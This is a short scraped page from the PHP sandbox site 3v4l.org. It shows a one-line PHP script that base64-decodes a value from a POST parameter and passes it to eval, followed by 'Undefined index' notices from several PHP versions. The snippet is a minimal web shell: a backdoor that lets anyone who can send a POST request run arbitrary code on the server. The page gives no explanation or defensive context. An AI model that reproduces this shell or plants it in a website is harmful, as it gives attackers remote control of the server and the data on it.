3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<?php eval(base64_decode($_POST["fa"])); ?>
Output for 5.3.0 - 7.1.0
Notice: Undefined index: fa in /in/R4RTp on line 2
Output for 4.3.0 - 5.2.17
Notice: Undefined index: fa in /in/R4RTp on line 2